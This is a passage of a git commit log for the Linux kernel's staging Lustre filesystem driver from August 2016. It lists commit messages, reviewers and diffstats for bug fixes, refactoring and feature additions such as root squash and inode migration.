deletions(-) commit d6099af20a148d705a16da2aed25b605ba0a162c Author: Christopher J. Morrone Date: Tue Aug 16 16:18:57 2016 -0400 staging: lustre: Remove static declaration in anonymous union It is not permitted in C++ to have a static declaration inside of an anonymous union. The g++ compiler will complaine with an error like this: error: struct ost_id::::ostid invalid; an anonymous union can only have non-static data members [-fpermissive] This patch changes the code to use an unnamed struct in place of "struct ostid" inside of the anonymous union. That name declaration was completely unnecessary anyway, since it was not used anywhere else. Signed-off-by: Christopher J. Morrone Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4987 Reviewed-on: http://review.whamcloud.com/10176 Reviewed-by: Robert Read Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre/lustre_user.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c948390f10ccc7ba67dcc17c9e5b313744f554aa Author: Gregoire Pichon Date: Tue Aug 16 16:18:56 2016 -0400 staging: lustre: llite: fix inconsistencies of root squash feature Root squash exhibits inconsistent behaviour on a client when enabled. If a file is not cached on the client, then root will get a permission denied error when accessing the file. When the file has recently been accessed by a regular user and is still in cache, root will be able to access the file without error because the permission check is only done by the client that isn't aware of root squash. While the only real security benefit from root squash is to deny clients access to files owned by root itself, it also makes sense to treat file access on the client in a consistent manner regardless of whether the file is in cache or not. This patch adds root squash settings to llite so that client is able to apply root squashing when it is relevant. Configuration of MDT root squash settings will automatically be applied to llite config log as well. Update cfs_str2num_check() routine by removing any modification of the specified string parameter. Since string can come from ls_str field of a lstr structure, this avoids inconsistent ls_len field. Signed-off-by: Gregoire Pichon Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1778 Reviewed-on: http://review.whamcloud.com/5700 Reviewed-by: Andreas Dilger Reviewed-by: Niu Yawei Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/libcfs/libcfs_string.c | 2 - .../staging/lustre/lustre/include/lprocfs_status.h | 6 + drivers/staging/lustre/lustre/include/obd_class.h | 9 ++ drivers/staging/lustre/lustre/llite/file.c | 44 +++++++ .../staging/lustre/lustre/llite/llite_internal.h | 6 + drivers/staging/lustre/lustre/llite/llite_lib.c | 47 +++++++ drivers/staging/lustre/lustre/llite/lproc_llite.c | 68 ++++++++++ .../lustre/lustre/obdclass/lprocfs_status.c | 140 +++++++++++++++++++++ 8 files changed, 320 insertions(+), 2 deletions(-) commit d097d67b7f093032cd0f64d05e92eba9a025b82e Author: John L. Hammond Date: Tue Aug 16 16:18:55 2016 -0400 staging: lustre: llite: validate names In ll_prep_md_op_data() validate names according to the same formula used in mdd_name_check(). Add mdc_pack_name() to validate the name actually packed in the request. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4992 Reviewed-on: http://review.whamcloud.com/10198 Reviewed-by: wangdi Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/include/linux/libcfs/libcfs_private.h | 9 --- drivers/staging/lustre/lustre/include/lu_object.h | 16 ++++++ drivers/staging/lustre/lustre/llite/llite_lib.c | 13 ++++- drivers/staging/lustre/lustre/mdc/mdc_lib.c | 67 ++++++++++++++-------- 4 files changed, 70 insertions(+), 35 deletions(-) commit 8f18c8a48b736c2f731e3e2255189c98e79bc22a Author: wang di Date: Tue Aug 16 16:18:54 2016 -0400 staging: lustre: lmv: separate master object with master stripe Separate master stripe with master object, so 1. stripeEA only exists on master object. 2. sub-stripe object will be inserted into master object as sub-directory, and it can get the master object by "..". By this, it will remove those specilities for stripe0 in LMV and LOD. And also simplify LFSCK, i.e. consistency check would be easier. When then master object becomes an orphan, we should mark all of its sub-stripes as dead object as well, otherwise client might still be able to create files under these stripes. A few fixes for striped directory layout lock: 1. stripe 0 should be locked as EX, same as other stripes. 2. Acquire the layout for directory, when it is being unliked. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4690 Reviewed-on: http://review.whamcloud.com/9511 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 64 ++++++++++------ .../lustre/lustre/include/lustre/lustre_user.h | 3 +- drivers/staging/lustre/lustre/include/lustre_lmv.h | 25 +++++- drivers/staging/lustre/lustre/include/obd.h | 4 +- drivers/staging/lustre/lustre/include/obd_class.h | 5 +- drivers/staging/lustre/lustre/llite/dir.c | 31 +++----- drivers/staging/lustre/lustre/llite/llite_lib.c | 89 +++++++++++----------- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 25 ++---- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 4 +- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 70 +++++++++-------- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 4 +- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 2 +- drivers/staging/lustre/lustre/mdc/mdc_reint.c | 6 +- drivers/staging/lustre/lustre/mdc/mdc_request.c | 8 +- 14 files changed, 174 insertions(+), 166 deletions(-) commit 31c5e95e11eadef9a10b7b1833caf75d86fb147a Author: Chris Horn Date: Tue Aug 16 16:18:53 2016 -0400 staging: lustre: ptlrpc: Early replies need to honor at_max When determining whether an early reply can be sent the server will calculate the new deadline based on an offset from the request arrival time. However, when actually setting the new deadline the server offsets the current time. This can result in deadlines being extended more than at_max seconds past the request arrival time. Instead, the server should offset the arrival time when updating its request timeout. When a client receives an early reply it doesn't know the server side arrival time so we use the original sent time as an approximation. Signed-off-by: Chris Horn Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4578 Reviewed-on: http://review.whamcloud.com/9100 Reviewed-by: James Simmons Reviewed-by: Christopher J. Morrone Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/client.c | 8 +++++--- drivers/staging/lustre/lustre/ptlrpc/import.c | 11 +++++++---- drivers/staging/lustre/lustre/ptlrpc/service.c | 18 +++++++++++++----- 3 files changed, 25 insertions(+), 12 deletions(-) commit c3397e7e677b1186f0442293de415f1c070b9d5d Author: wang di Date: Tue Aug 16 16:18:52 2016 -0400 staging: lustre: llite: add error handler in inode prepare phase Add error handler during inode inialization, so inode will become bad inode if something bad happens during inode prepare phase, otherwise the striped directory will not get its layout and being mis-regarded as normal directory. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4930 Reviewed-on: http://review.whamcloud.com/10170 Reviewed-by: Lai Siyao Reviewed-by: Fan Yong Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/llite/llite_internal.h | 4 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 66 +++++++++++++--------- drivers/staging/lustre/lustre/llite/namei.c | 59 ++++++++++--------- 3 files changed, 72 insertions(+), 57 deletions(-) commit 8877d3bff10ab1d02794c43013be7e68b83ce7ea Author: John L. Hammond Date: Tue Aug 16 16:18:51 2016 -0400 staging: lustre: move ioctls to lustre_ioctl.h Move ioctl definitions and related functions from lustre_dlm.h, lustre_lib.h, obd.h, to lustre_ioctl.h. Replace the definitions of retired ioctls with comment. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4961 Reviewed-on: http://review.whamcloud.com/10139 Reviewed-by: Andreas Dilger Reviewed-by: Robert Read Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_ioctl.h | 412 +++++++++++++++++++++ .../lustre/lustre/include/lustre/lustre_user.h | 21 +- drivers/staging/lustre/lustre/include/lustre_dlm.h | 10 - drivers/staging/lustre/lustre/include/lustre_lib.h | 284 -------------- drivers/staging/lustre/lustre/include/obd.h | 10 - drivers/staging/lustre/lustre/llite/dir.c | 9 +- drivers/staging/lustre/lustre/llite/file.c | 1 + drivers/staging/lustre/lustre/llite/llite_lib.c | 1 + drivers/staging/lustre/lustre/lmv/lmv_obd.c | 1 + drivers/staging/lustre/lustre/lov/lov_obd.c | 1 + drivers/staging/lustre/lustre/mdc/mdc_request.c | 1 + drivers/staging/lustre/lustre/obdclass/class_obd.c | 8 +- .../lustre/lustre/obdclass/linux/linux-module.c | 1 + .../staging/lustre/lustre/obdclass/obd_config.c | 1 + .../staging/lustre/lustre/obdecho/echo_client.c | 1 + drivers/staging/lustre/lustre/osc/osc_request.c | 1 + 16 files changed, 430 insertions(+), 333 deletions(-) commit c68c3fa4368fcb16b0bbff0808a64012a2d86640 Author: Vitaly Fertman Date: Tue Aug 16 16:18:50 2016 -0400 staging: lustre: ldlm: flock completion fixes. Move checks for FAILED, DESTROYED flags under ldlm spinlock, destroy flock atomically with the check it is not destroyed yet. Do not put the granted flock into the resource if this is UNLOCK, TEST, or DEADLOCK'ed flock. Later a regression for this patch was reported under LU-7626. The refcount nonzero (1) after lock cleanup errors was reported. The reason is that the case LCK_NL was not handled for obdecho. Patch 17791 resolved this issue which has been combined into this upstream patch. Signed-off-by: Vitaly Fertman Signed-off-by: Andriy Skulysh Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2177 Reviewed-by: Alexey Lyashkov Reviewed-by: Andriy Skulysh Reviewed-by: Vitaly Fertman Xyratex-bug-id: MRP-1588 Reviewed-on: http://review.whamcloud.com/10005 Reviewed-by: Bobi Jam Reviewed-by: Oleg Drokin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-7626 Reviewed-by: Mirza Arshad Mirza Hussain Reviewed-by: Alexey Leonidovich Lyashkov Reviewed-on: http://review.whamcloud.com/17791 Reviewed-by: Niu Yawei Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/include/linux/libcfs/libcfs_fail.h | 3 + drivers/staging/lustre/lnet/libcfs/fail.c | 6 +- .../lustre/lustre/include/lustre_dlm_flags.h | 36 ++++---- .../staging/lustre/lustre/include/obd_support.h | 4 + drivers/staging/lustre/lustre/ldlm/ldlm_flock.c | 98 +++++++++++++++------- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 23 ++++- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 16 ++-- drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 8 +- drivers/staging/lustre/lustre/llite/file.c | 20 +++-- 9 files changed, 148 insertions(+), 66 deletions(-) commit afebe4a531c1a03a5da3033ffd8984208fdc520c Author: Fan Yong Date: Tue Aug 16 16:18:49 2016 -0400 staging: lustre: reorder LOV_MAGIC_* definition Since all the LOV_MAGIC_* definitions have the same postfix values break that value out into its own definition. With this we can check whether the magic's postfix match the LOV_MAGIC_MAGIC or not: if yes, then it is quite possible that the clients has encountered an newer LOV magic. This extra information can let us handle those cases more gracefully. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4941 Reviewed-on: http://review.whamcloud.com/10045 Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) commit 1d5d5ec110113ce3a3a41adfc183a9e120240bd7 Author: Fan Yong Date: Tue Aug 16 16:18:48 2016 -0400 staging: lustre: obdclass: unified flow control interfaces Unify the flow control interfaces for MDC RPC and FLD RPC. We allow to adjust the maximum inflight RPCs count via /sys interface. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4687 Reviewed-on: http://review.whamcloud.com/9562 Reviewed-by: Niu Yawei Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/fld/fld_request.c | 55 +-------- drivers/staging/lustre/lustre/include/lustre_mdc.h | 5 - drivers/staging/lustre/lustre/include/obd.h | 14 +-- drivers/staging/lustre/lustre/include/obd_class.h | 5 + drivers/staging/lustre/lustre/ldlm/ldlm_lib.c | 4 +- drivers/staging/lustre/lustre/mdc/lproc_mdc.c | 17 +-- drivers/staging/lustre/lustre/mdc/mdc_internal.h | 2 - drivers/staging/lustre/lustre/mdc/mdc_lib.c | 64 ---------- drivers/staging/lustre/lustre/mdc/mdc_locks.c | 10 +- drivers/staging/lustre/lustre/mdc/mdc_request.c | 6 +- drivers/staging/lustre/lustre/obdclass/genops.c | 132 +++++++++++++++++++++ 11 files changed, 161 insertions(+), 153 deletions(-) commit 9ef3754cc257216db515b4830f64413af7160a4e Author: John L. Hammond Date: Tue Aug 16 16:18:47 2016 -0400 staging: lustre: lmv: rename request to preq in lmv_getattr_name() Rename request to preq. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4826 Reviewed-on: http://review.whamcloud.com/9863 Reviewed-by: Nathaniel Clark Reviewed-by: Bob Glossman Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit 29a85e250e791762d749024002957ef28e3c4ad5 Author: John L. Hammond Date: Tue Aug 16 16:18:46 2016 -0400 staging: lustre: lmv: cleanup req in lmv_getattr_name() In lmv_getattr_name() don't return a freed request in the error path. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4826 Reviewed-on: http://review.whamcloud.com/9863 Reviewed-by: Nathaniel Clark Reviewed-by: Bob Glossman Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 1 + 1 file changed, 1 insertion(+) commit 87ffe02c20b2fa302f22754a28f530ab54eadac6 Author: Jinshan Xiong Date: Tue Aug 16 16:18:45 2016 -0400 staging: lustre: lov: handle the case of stripe size is not power 2 Calculate the end of current stripe correctly when the stripe size is not power 2. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4860 Reviewed-on: http://review.whamcloud.com/9882 Reviewed-by: Bobi Jam Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lov/lov_page.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 91196c20a37bb5990e4358ff97dbeb2bd3007154 Author: Jinshan Xiong Date: Tue Aug 16 16:18:44 2016 -0400 staging: lustre: llite: avoid a deadlock in page write For a partial page write, it will have to issue a READ RPC firstly to get a full uptodate page. If another page is already locked by this thread it can easily cause deadlock. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4873 Reviewed-on: http://review.whamcloud.com/9928 Reviewed-by: Bobi Jam Reviewed-by: Niu Yawei Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw26.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 9b58714f9ab4138dabcf7176fdc465bd00afeae9 Author: Nathaniel Clark Date: Tue Aug 16 16:18:43 2016 -0400 staging: lustre: lmv: Ensure lmv_intent_lookup cleans up reqp Ensure there aren't invalid pointers hanging around after ptlrpc_req_finished is called. Signed-off-by: Nathaniel Clark Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4826 Reviewed-on: http://review.whamcloud.com/9841 Reviewed-by: John L. Hammond Reviewed-by: Bob Glossman Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_intent.c | 3 +++ 1 file changed, 3 insertions(+) commit 32410f3e168b025f84cb3ab94252887d82e6e3ae Author: wang di Date: Tue Aug 16 16:18:42 2016 -0400 staging: lustre: lmv: lookup remote migrating object in LMV If remote object is being found in a migrating directory, it should continue to lookup the object in remote MDT, instead of return. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4805 Reviewed-on: http://review.whamcloud.com/9806 Reviewed-by: John L. Hammond Reviewed-by: Nathaniel Clark Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_intent.c | 1 - 1 file changed, 1 deletion(-) commit 5e01c959b1ecf7d8bfa16d53ed2e010dd087c097 Author: John L. Hammond Date: Tue Aug 16 16:18:41 2016 -0400 staging: lustre: lmv: access lum_stripe_offset as little endian By the time that a struct lmv_user_md reaches lmv_placement_policy() it has already been converted to little endian. Therefore use the appropriate macros around accesses to this this field. This issue was found by rewriting the definition of struct lmv_user_md to use the __leXX typedefs and running sparse. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4738 Reviewed-on: http://review.whamcloud.com/9671 Reviewed-by: Dmitry Eremin Reviewed-by: Swapnil Pimpale Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 5ec35d4538891c97ebfdb7f1a5db8984306aa310 Author: John L. Hammond Date: Tue Aug 16 16:18:40 2016 -0400 staging: lustre: simplify inline functions in lustre_fid.h Several inline functions return a structure that was passed in. Their is no need for this so just make these function void. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/8641 Reviewed-by: wangdi Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_fid.h | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit d8f183b31341a97e07f5a3cd44499ea19a563ed1 Author: John L. Hammond Date: Tue Aug 16 16:18:39 2016 -0400 staging: lustre: use bool for several function in lustre_idl.h/lustre_fid.h Change the return type of several predicate functions from int to bool. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/8641 Reviewed-by: wangdi Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 72 +++++++++++----------- drivers/staging/lustre/lustre/include/lustre_fid.h | 4 +- 2 files changed, 38 insertions(+), 38 deletions(-) commit ac8f0a5c6aa5fd9bb30fba8433a9c843ee6fc0eb Author: John L. Hammond Date: Tue Aug 16 16:18:38 2016 -0400 staging: lustre: const correct FID/OSTID/... helpers Add a const qualifier wherever possible to the pointer parameters of the inline helper functions in lustre_idl.h and lustre_fid.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/8641 Reviewed-by: wangdi Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 28 +++++++++++----------- drivers/staging/lustre/lustre/include/lustre_fid.h | 9 +++---- 2 files changed, 19 insertions(+), 18 deletions(-) commit f7ee4497275ed122d0df706de35a40635f08c3c2 Author: John L. Hammond Date: Tue Aug 16 16:18:37 2016 -0400 staging: lustre: don't need to const __u64 parameters for lustre_idl.h Remove the const for the __u64 parameters for inline functions in lustre_idl.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/8641 Reviewed-by: wangdi Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 29792c81f90ed85d94b23f3fc31e646c241bd44a Author: John L. Hammond Date: Tue Aug 16 16:18:36 2016 -0400 staging: lustre: mdc: fixup MDS_SWAP_LAYOUTS ELC handling In mdc_ioc_swap_layouts() cancel *any* unused locks with LAYOUT or XATTR IBITS set on the two files. (This matches the locks acquired in mdt_swap_layouts(). Previously only locks that conflicted with a CR LAYOUT lock were cancelled.) Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4320 Reviewed-on: http://review.whamcloud.com/9329 Reviewed-by: Andreas Dilger Reviewed-by: Faccini Bruno Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_request.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 1d82425fbd5831097369eff1a4b8dcb5205d3da0 Author: wang di Date: Tue Aug 16 16:18:35 2016 -0400 staging: lustre: llite: a few fixes for migration. 1. Clear the client dentry cache before migrating file/directory to the remote MDT. 2. Do not return stripe information to client, if it did not get the layout lock. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4682 Reviewed-on: http://review.whamcloud.com/9522 Reviewed-by: Andreas Dilger Reviewed-by: John L. Hammond Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 22 ++++---------- drivers/staging/lustre/lustre/llite/file.c | 34 ++++++++++++---------- .../staging/lustre/lustre/llite/llite_internal.h | 2 ++ drivers/staging/lustre/lustre/lov/lov_object.c | 1 + 4 files changed, 28 insertions(+), 31 deletions(-) commit fa1cc96617adb982e11053545b9c2fdf63260065 Author: Jinshan Xiong Date: Tue Aug 16 16:18:34 2016 -0400 staging: lustre: osc: allow to call brw_commit() multiple times Sometimes the rq_commit_cb of BRW RPC can be called twice if that RPC has already committed at reply time. This will cause inaccuracy of unstable pages accounting and then assertion. Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3274 Reviewed-on: http://review.whamcloud.com/8215 Reviewed-by: Prakash Surya Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_cache.c | 19 ++++--------------- drivers/staging/lustre/lustre/osc/osc_request.c | 8 ++++---- 2 files changed, 8 insertions(+), 19 deletions(-) commit 66bff4ade42c427d7b301e90f0e0cbe88db2ce27 Author: Fan Yong Date: Tue Aug 16 16:18:33 2016 -0400 staging: lustre: llite: enable clients to inject error for lfsck This enables the client to inject an error by altering the parent FID in order to test if the server side file system checker behaves properly. Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3951 Reviewed-on: http://review.whamcloud.com/7667 Reviewed-by: Andreas Dilger Reviewed-by: Alex Zhuravlev Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd_support.h | 1 + drivers/staging/lustre/lustre/llite/vvp_req.c | 2 ++ 2 files changed, 3 insertions(+) commit a9bcd881b27fc8a4e7e3eccf4bb834a9e20a7508 Author: Ryan Haasken Date: Tue Aug 16 16:18:32 2016 -0400 staging: lustre: libcfs: Only dump log once per sec. to avoid EEXIST Since the log file name contains the current time in seconds, dumping the logs more than once per second causes EEXIST errors to be emitted. Add a static variable to libcfs_debug_dumplog_internal that records the time of the last Lustre log dump. If the current time in seconds is equal to the last time, do not dump logs again. Note that this is not thread-safe. However, in the rare case that two threads try to access last_dump_time simultaneously, the worst thing that could happen is that one of the threads will get an EEXIST error when trying to write the log file. This is no worse than the current situation, and it is not likely to happen. Signed-off-by: Ryan Haasken Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4129 Reviewed-on: http://review.whamcloud.com/8964 Reviewed-by: Andreas Dilger Reviewed-by: Bob Glossman Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/libcfs/debug.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 503df2c4dfcfa32d6e0b03503a31ef76b3144450 Author: Dmitry Eremin Date: Tue Aug 16 16:18:31 2016 -0400 staging: lustre: lmv: fix issue found by Klocwork Insight tool 'plock.cookie' might be used uninitialized in this function. sscanf format specification '%d' expects type 'int *' for 'd', but parameter 3 has a different type '__u32*' Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4629 Reviewed-on: http://review.whamcloud.com/9390 Reviewed-by: John L. Hammond Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_intent.c | 6 ++++-- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) commit 7949684591cb51e5bc241fd491b59e829d910036 Author: wang di Date: Tue Aug 16 16:18:30 2016 -0400 staging: lustre: add ability to migrate inodes. Add client support to migrate the individual inodes from one MDT to another MDT, and this functionality will only migrate inode layout on MDT but not touch data object on OST. The directory will be migrated from top to the bottom, i.e. migrating parent first, then migrating the child. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2430 Reviewed-on: http://review.whamcloud.com/6662 Reviewed-by: Alex Zhuravlev Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 11 +- .../lustre/lustre/include/lustre/lustre_user.h | 1 + drivers/staging/lustre/lustre/include/lustre_lmv.h | 2 + drivers/staging/lustre/lustre/include/obd.h | 12 +- drivers/staging/lustre/lustre/llite/dir.c | 43 ++++- drivers/staging/lustre/lustre/llite/file.c | 113 ++++++++++++- .../staging/lustre/lustre/llite/llite_internal.h | 14 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 33 +++- drivers/staging/lustre/lustre/llite/namei.c | 3 +- drivers/staging/lustre/lustre/llite/rw.c | 4 + drivers/staging/lustre/lustre/llite/statahead.c | 1 + drivers/staging/lustre/lustre/lmv/lmv_intent.c | 32 +++- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 176 +++++++++++++++------ drivers/staging/lustre/lustre/mdc/mdc_lib.c | 2 + drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 4 +- 15 files changed, 368 insertions(+), 83 deletions(-) commit a8610297ea8849fe47a9442291b38936e3d403cc Author: Fan Yong Date: Tue Aug 16 16:18:29 2016 -0400 staging: lustre: obdclass: bug fixes for lu_device_type handling There was no protection when inc/dec lu_device_type::ldt_device_nr, which may caused the ldt_device_nr to be wrong and trigger assert. This patch redefine lu_device_type::ldt_device_nr as atomic type. There was no protection when add/del lu_device_type::ldt_linkage into/from the global lu_device_types list, which may caused bad address accessing. This patch uses the existing obd_types_lock to protect related operations. We do NOT need lu_types_stop() any longer. Such function scans the global lu_device_types list, and for each type item on it which has zerod lu_device_type::ldt_device_nr, call its stop() method. In fact, the lu_device_type::ldt_device_nr only will be zero when the last lu_device_fini() is called, and at that time, inside the lu_device_fini(), its stop() method will be called. So it is unnecessary to call the stop() again via lu_types_stop(). Signed-off-by: Fan Yong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4604 Reviewed-on: http://review.whamcloud.com/8694 Reviewed-by: Jian Yu Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 3 +- drivers/staging/lustre/lustre/llite/vvp_dev.c | 6 ---- drivers/staging/lustre/lustre/obdclass/lu_object.c | 34 +++++++++++----------- drivers/staging/lustre/lustre/obdclass/obd_mount.c | 1 - 4 files changed, 18 insertions(+), 26 deletions(-) commit f4ba0420278486a3fdddae1421ef48fdb5be9754 Author: Jian Yu Date: Tue Aug 16 16:18:28 2016 -0400 staging: lustre: obdclass: fix lmd_parse() to handle comma-separated NIDs This patch handles the upgrade situation that old mountdata already contains comma-separated NIDs. The correct way to fix the original issue is to parse comma-separated NIDs in lmd_parse(). Signed-off-by: Jian Yu Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4460 Reviewed-on: http://review.whamcloud.com/8918 Reviewed-by: Niu Yawei Reviewed-by: Bobi Jam Reviewed-by: Sebastien Buisson Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/obd_mount.c | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) commit 75ac62fc3935d79f5051fa1c4d2b1051bf7d1a0e Author: wang di Date: Tue Aug 16 16:18:27 2016 -0400 staging: lustre: delete striped directory Add delete striped directory, it includes 1. enable sync log between MDTs, so slave objects will be delete by unlink log, which is similar as deleting ost object. 2. retrieve layout information of striped directory on MDT, then lock all of the slave objects before unlink. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3531 Reviewed-on: http://review.whamcloud.com/7445 Reviewed-by: Alex Zhuravlev Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_dlm.h | 1 + drivers/staging/lustre/lustre/include/lustre_fid.h | 1 + drivers/staging/lustre/lustre/llite/dir.c | 10 --- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 5 ++ drivers/staging/lustre/lustre/lmv/lmv_obd.c | 75 +++++++++++++++++----- 5 files changed, 65 insertions(+), 27 